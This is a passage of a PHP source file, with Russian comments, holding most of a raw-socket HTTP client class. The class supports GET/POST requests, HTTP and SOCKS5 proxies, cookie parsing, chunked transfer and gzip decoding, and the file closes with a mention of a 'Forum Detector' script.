var $auto_unzip=true;
var $unzipped=false;
var $proxy_add_str='';
var $is_socks5=false;
var $s_user='';
var $s_pass='';
/*** Конструктор. $addr - адрес или IP сайта, $port - порт. ***/
function websock($addr,$port=80,$use_lowlevel_socks=true)
{
if(!function_exists('socket_create') && $use_lowlevel_socks)
return;
$this->addr=$addr;
$this->s_addr=$addr;
$this->s_port=$port;
$this->use_lowlevel_socks=$use_lowlevel_socks;
if($this->use_lowlevel_socks)
{
if(!preg_match("/^(\d{1,3}\.){3}\d{1,3}$/",$addr))
$addr=gethostbyname($addr);
if(!$addr) return;
$this->sock=socket_create(AF_INET,SOCK_STREAM,SOL_TCP);
if(!$this->sock)
return;
}
$this->success=1;
}
function set_autounzip($au=true)
{
$this->auto_unzip=$au ? true : false;
return true;
}
function get_unzipped()
{
return $this->unzipped;
}
function get($service_uri='/',$params='',$cookie='',$ref='')
{
$this->sconnect();
$this->get_header($service_uri,'',$params,'GET',$cookie,$ref);
$this->swrite();
$ret=$this->http11read();
$this->sclose();
return $ret;
}
function post($service_uri='/',$params='',$cookie='',$ref='')
{
$this->sconnect();
$this->get_header($service_uri,'',$params,'POST',$cookie,$ref);
$this->swrite();
$ret=$this->http11read();
$this->sclose();
return $ret;
}
/*** Подключает сокет (через прокси или напрямую). ***/
function sconnect()
{
if($this->use_lowlevel_socks)
{
if($this->proxy)
{
if(!socket_connect($this->sock,$this->proxy,$this->pport)) return false;
if($this->is_socks5) return $this->authorize();
}
else
{
if(!socket_connect($this->sock,$this->s_addr,$this->s_port)) return false;
}
if(!socket_set_nonblock($this->sock)) return false;
}
else
{
if($this->proxy)
{
$this->sock=fsockopen("tcp://".$this->proxy,$this->pport,$errno,$errstr,30);
$this->fsock_err=$errno.': '.$errstr;
if(!$this->sock) return false;
if($this->is_socks5) return $this->authorize();
}
else
{
$this->sock=fsockopen("tcp://".$this->s_addr,$this->s_port,$errno,$errstr,30);
$this->fsock_err=$errno.': '.$errstr;
if(!$this->sock) return false;
}
}
return true;
}
/*** Автоматически авторизует скрипт, если используются socks5. ***/
function authorize()
{
$h=pack("H*",'05020002');
$this->swrite($h);
$result=bin2hex($this->sread(4));
if($result=='0502')
{
$len_login=chr(strlen($this->s_user));
$len_pass=chr(strlen($this->s_pass));
$h=pack("H*","01").$len_login.$this->s_user.$len_pass.$this->s_pass;
$this->swrite($h);
$result=bin2hex($this->sread(4));
if($result{3}!=0)
return false;
}
else if($result!='0500')
{
return false;
}
$len_h=chr(strlen($this->s_addr));
$h=pack("H*","05010003").$len_h.$this->s_addr.pack("n",$this->s_port);
$this->swrite($h);
$result=bin2hex($this->sread(100));
if($result{3}==0)
return true;
}
/*** Устанавливает прокси с ip $addr и портом $port и данными для авторизации. ***/
function set_proxy($addr,$port,$user='',$pass='')
{
$this->proxy=$addr;
$this->pport=$port;
$this->is_socks5=false;
if(strlen($user)>0 || strlen($pass)>0)
$this->proxy_add_str='Proxy-Authorization: Basic '.base64_encode($user.':'.$pass)."\r\n";
else
$this->proxy_add_str='';
return true;
}
/*** Устанавливает socks5-сервер с ip $addr и портом $port и данными для авторизации. ***/
function set_socks5($addr,$port,$user='',$pass='')
{
$this->proxy=$addr;
$this->pport=$port;
$this->is_socks5=true;
$this->s_user=$user;
$this->s_pass=$pass;
return true;
}
/*** Проверка успешности создания сокета и подключения к нему. ***/
function check_success()
{
return $this->success;
}
/*** Запись в сокет. $data - данные для записи в сокет. Возвращает число байт, записанных в сокет. Если $data не указано, то будет записаны заголовки, созданные функцикей get_header() (см. ниже). ***/
function swrite($data='')
{
if(!$data) $data=$this->request;
if($this->use_lowlevel_socks)
{
if(socket_select($r=NULL,$w=array($this->sock),$f=NULL,5)!=1)
return false;
return socket_write($this->sock,$data);
}
else
{
return fwrite($this->sock,$data);
}
}
/*** Чтение $bytes байт из сокета. Возвращает считанный контент. ***/
function sread($bytes)
{
if($this->use_lowlevel_socks)
{
if(socket_select($r=array($this->sock),$w=NULL,$f=NULL,5)!=1)
return false;
return socket_read($this->sock,$bytes);
}
else
{
return fread($this->sock,$bytes);
}
}
/*** Чтение из сокета всего доступного содержимого. Эта функция не работает с HTTP/1.1. $stepbytes - сколько байтов считывать за раз. Возвращает считанный контент. ***/
function sreadfull($stepbytes=128)
{
$reading='';
while(($ret=$this->sread($stepbytes))!='')
{
$reading.=$ret;
}
$reading=$this->get_content_headers($reading);
if($this->auto_unzip)
{
if(strpos($reading[0],'Content-Encoding: gzip')!==false)
{
$this->unzipped=true;
$reading[1]=$this->gzBody($reading[1]);
}
else
{
$this->unzipped=false;
}
}
return $reading;
}
/*** Установка типа соединения. $conn==0 - close, $conn==1 - keep-alive; $keepalive - время поддержки соединения. ***/
function set_connection($conn=0,$keepalive=300)
{
$this->connection=$conn==0 ? 0 : 1;
$this->keepalive=$keepalive;
return true;
}
function set_proto($proto='1.0') //set 1.0 or 1.1
{
$this->proto= ($proto=='1.0' || $proto=='1.1') ? $proto : '1.0';
return true;
}
/*** Универсальная функция чтения из сокета, читает правильно независимо от типа соединения. Возвращает массив: $c[0] - заголовки, $c[1] - содержимое ***/
function http11read($stepbytes=128)
{
$c=$this->sreadfull($stepbytes);
if(strpos($c[0],'Transfer-Encoding: chunked')!==false)
return array($c[0],$this->remove_lengths($c[1]));
else
return $c;
}
/*** Получение cookies из заголовка ответа сервера и представление их в виде, удобном для вставки в заголовок Cookie. ***/
/*** $header - заголовок ответа сервера; $ret==0 - будет возвращена строка для заголовка Cookie, $ret==1 - будет возвращён массив cookies. ***/
function get_cookie($header,$ret=0)
{
preg_match_all("/Set-Cookie: (.+)(;|\r)/iUs",$header,$cook);
if(!isset($cook[1])) return $ret==0 ? '' : array();
$carr=array_unique($cook[1]);
$cookies=implode('; ',$carr);
return $ret==0 ? $cookies : $carr;
}
/*** Обрабатывает страницу с Transfer-encoding: chunked. Возвратит страницу без разбиений. ***/
function remove_lengths($res)
{
$len=1;
$nlen=0;
$curlen=0;
$ret='';
$tmp=explode("\r\n",$res);
foreach($tmp as $line)
{
if($len==1)
{
if($line=="\r\n")
{
$ret.=$line."\r\n";
continue;
}
$nlen=base_convert($line,16,10);
if($nlen==0) continue;
$len=0;
$curlen=0;
continue;
}
$curlen+=strlen($line."\r\n");
$ret.=$line."\r\n";
if($curlen>=$nlen)
{
$len=1;
continue;
}
}
return $ret;
}
/*** Разбивает полученные данные на заголовок и содержимое. $res - весь контент. Возвратит массив: $ret[0] - заголовки, $ret[1] - содержимое. ***/
function get_content_headers($res)
{
$ret=explode("\r\n\r\n",$res,2);
return $ret;
}
/*** Устанавливает виртуальный браузер. ***/
function set_browser($browser='Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1) Gecko/20061010 Firefox/2.0')
{
$this->browser=$browser;
return true;
}
/*** Формирует заголовки для записи в сокет. ***/
/*** $service_uri - SERVICE_URI. Например, для http://site.com/aaa/bbb.php это /aaa/bbb.php ***/
/*** $page - страница. Для примера выше это site.com. Если сокет был создан как new websock('site.com'), то страницу можно не указывать. Если же как new websock('1.2.3.4'), то необходимо указывать. ***/
/*** $data - передаваемые скрипту данные (только для POST) ***/
/*** $method - GET/POST и т.д. ***/
/*** $cookie - cookies в виде строки ***/
/*** $ref - Referer ***/
/*** $addheaders - дополнительные заголовки, которые мы хотим установить ***/
/*** Возвращает запрос и устанавливает его как запрос по умолчанию. ***/
function get_header($service_uri,$page='',$data='',$method='GET',$cookie='',$ref='',$addheaders='')
{
if(!$page) $page=$this->addr;
if($method=='GET' && strlen($data)>0)
{
$service_uri.='?'.$data;
$data='';
}
if($this->proxy && !$this->is_socks5)
$request="$method http://{$this->s_addr}:{$this->s_port}$service_uri HTTP/{$this->proto}\r\n";
else
$request="$method $service_uri HTTP/{$this->proto}\r\n";
$request.=$this->proxy_add_str;
$request.="Host: $page\r\n";
if($this->browser) $request.="User-Agent: {$this->browser}\r\n";
if($ref) $request.="Referer: $ref\r\n";
if($method=='POST')
{
$request.="Content-Type: application/x-www-form-urlencoded\r\n";
$request.="Content-Length: ".strlen($data)."\r\n";
}
if($this->connection==0)
{
$request.="Connection: close\r\n";
}
else
{
$request.="Keep-alive: {$this->keepalive}\r\n";
$request.="Connection: keep-alive\r\n";
}
if($addheaders)
$request.=$addheaders;
if($cookie)
$request.="Cookie: $cookie\r\n";
$request.="\r\n";
$request.=$data;
$this->request=$request;
return $request;
}
/*** Закрывает соединение ***/
function sclose()
{
return $this->use_lowlevel_socks ? socket_close($this->sock) : fclose($this->sock);
}
/*** Возвращает последнюю ошибку работы с сокетами. ***/
function serr()
{
return $this->use_lowlevel_socks ? socket_last_error($this->sock) : $this->fsock_err;
}
function gzBody($gzData)
{
if(substr($gzData,0,3)=="\x1f\x8b\x08")
{
$i=10;
$flg=ord(substr($gzData,3,1));
if($flg>0)
{
if($flg&4)
{
list($xlen)=unpack('v',substr($gzData,$i,2));
$i=$i+2+$xlen;
}
if($flg&8) $i=strpos($gzData,"\0",$i)+1;
if($flg&16) $i=strpos($gzData,"\0",$i)+1;
if($flg&2) $i=$i+2;
}
return gzinflate(substr($gzData,$i,-8));
}
else
return false;
}
}
?>Рабочая версия скрипта на нашем сервере Forum Detector (Online)





